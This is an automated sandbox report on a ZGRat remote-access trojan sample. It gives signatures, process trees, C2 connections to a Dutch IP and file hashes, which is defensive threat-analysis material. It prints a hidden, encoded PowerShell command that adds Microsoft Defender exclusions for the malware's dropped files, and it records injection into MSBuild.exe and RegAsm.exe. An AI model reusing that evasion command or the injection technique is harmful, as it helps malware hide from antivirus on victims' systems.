Malware Analysis Report

2024-11-30 20:03

Sample ID 240509-l7y6fsfb62
Target dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe
SHA256 dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09
Tags
zgrat execution rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09

Threat Level: Known bad

The file dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe was found to be: Known bad.

Malicious Activity Summary

zgrat execution rat

Detect ZGRat V1

ZGRat

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Executes dropped EXE

Suspicious use of SetThreadContext

Drops file in System32 directory

Unsigned PE

Uses Task Scheduler COM API

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-09 10:11

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-09 10:11

Reported

2024-05-09 10:13

Platform

win7-20240221-en

Max time kernel

134s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe"

Signatures

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A

ZGRat

rat zgrat

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\system32\taskeng.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2740 set thread context of 1440 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3052 wrote to memory of 2440 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3052 wrote to memory of 2440 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3052 wrote to memory of 2440 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2976 wrote to memory of 2740 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe
PID 2976 wrote to memory of 2740 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe
PID 2976 wrote to memory of 2740 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe
PID 2740 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 2740 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 2740 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 2740 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 2740 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 2740 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 2740 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe

"C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {B46B52EC-222A-4632-ADB3-249E2E29D939} S-1-5-21-2297530677-1229052932-2803917579-1000:HKULBIBU\Admin:S4U:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABlAGwAYQB5AFMAaQBnAG4AXABUAHkAcABlAEkAZAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEQAZQBsAGEAeQBTAGkAZwBuAFwAVAB5AHAAZQBJAGQALgBlAHgAZQA=

C:\Windows\system32\taskeng.exe

taskeng.exe {A1AE8ACD-74F8-44AD-9589-E3C0867B9300} S-1-5-21-2297530677-1229052932-2803917579-1000:HKULBIBU\Admin:Interactive:[1]

C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Network

Country Destination Domain Proto
NL 91.92.253.28:39001 tcp
NL 91.92.253.28:39002 tcp
NL 91.92.253.28:39003 tcp
NL 91.92.253.28:39001 tcp
NL 91.92.253.28:39002 tcp

Files

memory/2084-0-0x000007FEF5F83000-0x000007FEF5F84000-memory.dmp

memory/2084-1-0x000000013F540000-0x000000013F5E2000-memory.dmp

memory/2084-2-0x000000001B290000-0x000000001B394000-memory.dmp

memory/2084-3-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

memory/2084-4-0x0000000000640000-0x0000000000696000-memory.dmp

memory/2084-5-0x0000000000720000-0x000000000076C000-memory.dmp

memory/2084-6-0x0000000002280000-0x00000000022D4000-memory.dmp

memory/2440-11-0x0000000001A70000-0x0000000001AF0000-memory.dmp

memory/2440-12-0x000000001A340000-0x000000001A622000-memory.dmp

memory/2440-13-0x0000000000AD0000-0x0000000000AD8000-memory.dmp

memory/2084-16-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

MD5 9ffcbf13ec0d927ab745589c64dba569
SHA1 74e9aa1a9225f2acc5ee4aa86993970d3d6df5a8
SHA256 dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09
SHA512 cb695ca80b70b6b09af9a43d13363aab86186ca0c44d1f324dfb4bb2d978873cde900efc87b4db0ff2b9d0a321b626a1de97c31a995f5c4e437b16ad3f96ae25

memory/2740-21-0x000000013F890000-0x000000013F932000-memory.dmp

memory/1440-22-0x0000000140000000-0x00000001400A2000-memory.dmp

memory/1440-26-0x0000000140000000-0x00000001400A2000-memory.dmp

memory/1440-24-0x0000000140000000-0x00000001400A2000-memory.dmp

memory/1440-28-0x000007FFFFFDB000-0x000007FFFFFDC000-memory.dmp

memory/1440-29-0x0000000140000000-0x00000001400A2000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-09 10:11

Reported

2024-05-09 10:13

Platform

win10v2004-20240508-en

Max time kernel

141s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe"

Signatures

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A

ZGRat

rat zgrat

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1060 set thread context of 1952 N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe

"C:\Users\Admin\AppData\Local\Temp\dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABlAGwAYQB5AFMAaQBnAG4AXABUAHkAcABlAEkAZAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEQAZQBsAGEAeQBTAGkAZwBuAFwAVAB5AHAAZQBJAGQALgBlAHgAZQA=

C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

Network

Country Destination Domain Proto
NL 91.92.253.28:39001 tcp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
NL 91.92.253.28:39002 tcp
NL 91.92.253.28:39003 tcp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
NL 91.92.253.28:39001 tcp
NL 91.92.253.28:39002 tcp

Files

memory/1076-0-0x000001612D5C0000-0x000001612D662000-memory.dmp

memory/1076-1-0x00007FFE23A13000-0x00007FFE23A15000-memory.dmp

memory/1076-2-0x0000016147A60000-0x0000016147B64000-memory.dmp

memory/1076-3-0x00007FFE23A10000-0x00007FFE244D1000-memory.dmp

memory/1076-4-0x000001612DA10000-0x000001612DA66000-memory.dmp

memory/1076-5-0x0000016147B60000-0x0000016147BAC000-memory.dmp

memory/1076-6-0x0000016147D30000-0x0000016147D84000-memory.dmp

memory/2512-7-0x00007FFE23A10000-0x00007FFE244D1000-memory.dmp

memory/2512-8-0x00007FFE23A10000-0x00007FFE244D1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_te10vl4p.k2c.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2512-18-0x0000027FB31C0000-0x0000027FB31E2000-memory.dmp

memory/2512-20-0x00007FFE23A10000-0x00007FFE244D1000-memory.dmp

memory/1076-24-0x00007FFE23A10000-0x00007FFE244D1000-memory.dmp

C:\Users\Admin\AppData\Roaming\DelaySign\TypeId.exe

MD5 9ffcbf13ec0d927ab745589c64dba569
SHA1 74e9aa1a9225f2acc5ee4aa86993970d3d6df5a8
SHA256 dfba4d1c63cb8b9e426b04fa2b048bfe4554de13e7ce1c2c5e665cc708a23d09
SHA512 cb695ca80b70b6b09af9a43d13363aab86186ca0c44d1f324dfb4bb2d978873cde900efc87b4db0ff2b9d0a321b626a1de97c31a995f5c4e437b16ad3f96ae25

memory/1060-27-0x00007FFE23A10000-0x00007FFE244D1000-memory.dmp

memory/1060-30-0x00007FFE23A10000-0x00007FFE244D1000-memory.dmp